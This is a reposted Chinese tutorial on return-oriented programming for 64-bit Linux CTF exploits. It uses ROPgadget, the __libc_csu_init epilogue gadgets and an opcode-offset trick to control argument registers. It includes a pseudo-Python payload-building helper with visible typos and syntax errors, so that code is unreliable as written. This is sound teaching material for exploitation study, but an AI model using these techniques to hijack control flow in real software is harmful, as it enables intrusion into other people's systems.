精品国产人成在线_亚洲高清无码在线观看_国产在线视频国产永久2021_国产AV综合第一页一个的一区免费影院黑人_最近中文字幕MV高清在线视频

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

教程--如何利用__libc_csu_init控制64位寄存器

jf_78858299 ? 來源:看雪社區 ? 作者:Max_hhg ? 2023-01-30 14:11 ? 次閱讀

1

利用ROPgadget尋找ROP

usage: ROPgadget.py [-h] [-v] [-c] [--binary ] [--opcode ]
                    [--string ] [--memstr ] [--depth ]
                    [--only ] [--filter ] [--range ]
                    [--badbytes ] [--rawArch ] [--rawMode ]
                    [--rawEndian ] [--re ] [--offset ]
                    [--ropchain] [--thumb] [--console] [--norop] [--nojop]
                    [--callPreceded] [--nosys] [--multibr] [--all] [--noinstr]
                    [--dump]
參數
    -h, --help           顯示幫助文檔
    -v, --version        版本號
    -c, --checkUpdate    檢測新版本是否可用
    --binary     指定二進制文件進行分析
    --opcode    在可執行段中查找opcode
    --string     在可讀的段中查找字符串
    --memstr     查找單個byte在所有的可執行段中
    --depth 索引擎的深度
    --only          只顯示特別的指令
    --filter        過濾特定指令
    --range   在地址之間尋找(0x...-0x...)
    --badbytes     拒絕特定指令在gadget的地址下
    --rawArch      指定文件架構
    --rawMode      指定源文件的mode
    --rawEndian  指定源文件的endianness
    --re             正則表達式
    --offset    指定gadget的地址偏移
    --ropchain           ROP chain的生成
    --thumb              在ARM架構下使用搜索引擎thumb 模式
    --console            使用交互終端對于搜索引擎
    --norop              禁止ROP搜索引擎
    --nojop              禁止JOP搜索引擎
    --callPreceded       僅顯示call-preceded的gadgets
    --nosys              禁止SYS搜索引擎
    --multibr            允許多分枝gadgets
    --all                禁止刪除重復的gadgets,即顯示所有
    --noinstr            禁止gadget指令終端打印
    --dump               輸出gadget bytes

舉個例子:

圖片

但是對于64位的來說 ROPgadget預設的長度是不夠的。

所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。

圖片

2

利用_libc_csu_init制造ROP

常規方法

我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。

下面看看利用_libc_csu_init制造rop。

; void _libc_csu_init(void)
.text:0000000000400650                                         public __libc_csu_init
.text:0000000000400650                         __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650                         ; __unwind {
.text:0000000000400650 41 57                                   push    r15
.text:0000000000400652 41 89 FF                                mov     r15d, edi
.text:0000000000400655 41 56                                   push    r14
.text:0000000000400657 49 89 F6                                mov     r14, rsi
.text:000000000040065A 41 55                                   push    r13
.text:000000000040065C 49 89 D5                                mov     r13, rdx
.text:000000000040065F 41 54                                   push    r12
.text:0000000000400661 4C 8D 25 D8 01 20 00                    lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668 55                                      push    rbp
.text:0000000000400669 48 8D 2D D8 01 20 00                    lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 53                                      push    rbx
.text:0000000000400671 4C 29 E5                                sub     rbp, r12
.text:0000000000400674 31 DB                                   xor     ebx, ebx
.text:0000000000400676 48 C1 FD 03                             sar     rbp, 3
.text:000000000040067A 48 83 EC 08                             sub     rsp, 8
.text:000000000040067E E8 FD FD FF FF                          call    _init_proc
.text:0000000000400683 48 85 ED                                test    rbp, rbp
.text:0000000000400686 74 1E                                   jz      short loc_4006A6
.text:0000000000400688 0F 1F 84 00 00 00 00 00                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6                         loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 48 83 C4 08                             add     rsp, 8
.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12
.text:00000000004006AE 41 5D                                   pop     r13
.text:00000000004006B0 41 5E                                   pop     r14
.text:00000000004006B2 41 5F                                   pop     r15
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4                         __libc_csu_init endp

這里我們首先可以利用的點:

從0x00000000004006AA一直到結尾,我們可以利用溢出構造棧上數據來控制rbx、rbp、r12、r13、r14、r15寄存器的數據。如下:

.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4

另外,我們可以從0x0000000000400690到0x0000000000400696,將r13賦值給rdx、將r14賦值給rsi、將r15d賦值給edi,但在調試的過程中,會發現rdi的高32位置0,所以我們可以控制rdx、rsi、rdi,我們可以利用上面的控制r12、rbx(r12=addr rbx=0)來控制跳轉地址,我們也可以(r12=0,rbx=0)實現不跳轉到其他地方。

.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

從0x000000000040069D到0x00000000004006A4,我們可以控制rbx與rbp的關系為rbx + 1 = rbp,這樣我們就不會重復執行上面的loc_400690了,如果要串起來,rbx=0 rbp=1。

.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690

總結一下上面的常規利用方法的腳本:

gadget1 = 0x04006AA
gadget2 = 0x0400690

//控制rbx、rbp、r12、r13、r14、r15
csu_end(rbx,rbp,r12,r13,r14,r15):
    payload = p64(rbx)+p64(rbp)+r64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget1)
    return payload

//如果要跳轉到另外一個地址就傳入地址 不跳轉直接缺省
//addr1是中途可以跳轉的地址 addr2是最后可以跳轉的地址
//控制rdx、rsi、rdi
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+'a'*(8*6+0x8)+p64(addr2)//0x8是填充原來的 8*6實際是csu_end的六個地址
    return payload
//addr1設置成需要跳轉的地址 addr2設置成gadget2 可以進行一個循環的利用
payload = csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)
payload+= csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)

//當然你可以把上面的8*6改換成rbx、rbp、r12、r13、r14、r15,
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef,rbx,rbp,r12,r13,r14,r15):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+'a'*(0x8)+p64(addr2)
    return payload
//我記得這個可以用來繞過沙箱,但那個題我找不到了 當然用其他gadget也可以

opcode

上面說的是一個常規的用法,還有一種用法是關于opcode的。

.text:00000000004006AA 5B                                      pop     rbx(=>0)
.text:00000000004006AB 5D                                      pop     rbp (=>1)
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4

pop rbx -------> 5B

pop rbp -------> 5D

pop r12 -------> 41 5C

pop r13 -------> 41 5D

pop r14 -------> 41 5E

pop r15 -------> 41 5F

是的,pop r13只比pop rbp多一個41,其他的寄存器也是一樣的。

pop r12 -------> pop rsp

pop r13 -------> pop rbp

pop r14 -------> pop rsi

pop r15 -------> pop rdi

這一下,我們現在就可以增加控制3個寄存器了,現在我們可以控制rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi,但是似乎不可能有什么要同時控制這么多寄存器的,寫出來腳本也沒有什么意義。

3

其他控制寄存器的方法

控制rax

  • gets、fgets回傳buff(rax=rdi)
  • strcpy,strncpy
  • alarm

控制rcx

  • strcpy可能會讓ecx = 輸入字串

有些函數的返回值可能會影響寄存器,這些地方還是比較隱蔽的。

參考:

ctf-wiki*(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/)*

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 寄存器
    +關注

    關注

    31

    文章

    5317

    瀏覽量

    120006
  • 引擎
    +關注

    關注

    1

    文章

    360

    瀏覽量

    22531
  • 地址
    +關注

    關注

    1

    文章

    31

    瀏覽量

    10748
收藏 人收藏

    評論

    相關推薦

    解析CPU中的寄存器

    8寄存器在16寄存器中,而16寄存器在32
    發表于 09-19 10:10 ?3972次閱讀

    怎么從sdk中的zynq PL 64寄存器打印64寄存器

    嗨,我想從sdk中的zynq PL 64寄存器打印64寄存器值。代碼是u
    發表于 04-19 11:16

    xsdk中的64寄存器有什么功能?

    你好,我想讀取和寫入xsdk中的64寄存器。我發現Xil_Out32和Xil_In32用于32寄存器
    發表于 04-23 10:09

    32寄存器,32寄存器是什么意思

    32寄存器,32寄存器是什么意思  從X8086開始學了一年,第一個ASM的程序就是變32換16進制的程序,不過現在叫我從新開始寫ASM程
    發表于 03-08 17:26 ?1.7w次閱讀

    IA64 應用程序寄存器

    IA64 應用程序寄存器
    發表于 01-04 13:11 ?0次下載

    51寄存器的所有寄存器名稱,(包括寄存器每一的作用及用法)資源詳解

    51寄存器的所有寄存器名稱,(包括寄存器每一的作用及用法)資源詳解
    發表于 10-16 13:04 ?14次下載
    51<b class='flag-5'>寄存器</b>的所有<b class='flag-5'>寄存器</b>名稱,(包括<b class='flag-5'>寄存器</b>每一<b class='flag-5'>位</b>的作用及用法)資源詳解

    RFM反射內存5565控制和狀態寄存器

    3.3 RFM反射內存控制和狀態寄存器 內存訪問周期RFM5565 反射內存控制和狀態寄存器,偏移值存儲在基址寄存器2。下面指定的偏移量。這
    發表于 08-13 07:58 ?1191次閱讀

    GPIO寄存器

    每組IO口有10個寄存器組成,如果芯片有GPIOA~GPIOI,9個組那么一共有90個寄存器如果配置一個IO口需要2個,那么剛好32寄存器
    發表于 12-08 17:06 ?5次下載
    GPIO<b class='flag-5'>寄存器</b>

    寄存器操作記錄

    num &= ~(1
    發表于 01-13 13:55 ?3次下載
    <b class='flag-5'>寄存器</b><b class='flag-5'>位</b>操作記錄

    配置STM32寄存器控制GPIO點亮LED

    STM32點亮LED 寄存器方式IO簡介1、每個IO可以自由編程,但是IO口寄存器必須按照32字被訪問。2、每個IO端口都有7個寄存器控制
    發表于 01-13 16:15 ?3次下載
    配置STM32<b class='flag-5'>寄存器</b><b class='flag-5'>控制</b>GPIO點亮LED

    AArch64寄存器介紹

    作為 RISC 架構,AArch64 提供了大量的通用寄存器。除通用寄存器之外,本節還會介紹特殊寄存器、系統控制
    的頭像 發表于 08-24 09:57 ?5957次閱讀

    安卓如何逆向_Dalvik 寄存器,字節碼,指令格式 1

    0x01 dalvik寄存器 ``` 32,所有類型, ?
    的頭像 發表于 01-30 16:24 ?500次閱讀

    1 到 64 可變長度移位寄存器-HEF4557B

    1 到 64 可變長度移位寄存器-HEF4557B
    發表于 03-03 19:45 ?0次下載
    1 到 <b class='flag-5'>64</b> <b class='flag-5'>位</b>可變長度移位<b class='flag-5'>寄存器</b>-HEF4557B

    16和32寄存器的區別 16寄存器有哪些

    16寄存器可以存儲2個字節(16)的數據,數據范圍為0~65535。在單片機中,16寄存器通常用于存儲計數
    發表于 03-31 18:14 ?1.5w次閱讀

    單片機工作寄存器作用 單片機常用專用寄存器

    除了通用寄存器(如累加、通用寄存器等),單片機中還會有特定功能的寄存器,如定時寄存器、中斷
    的頭像 發表于 04-08 14:46 ?7342次閱讀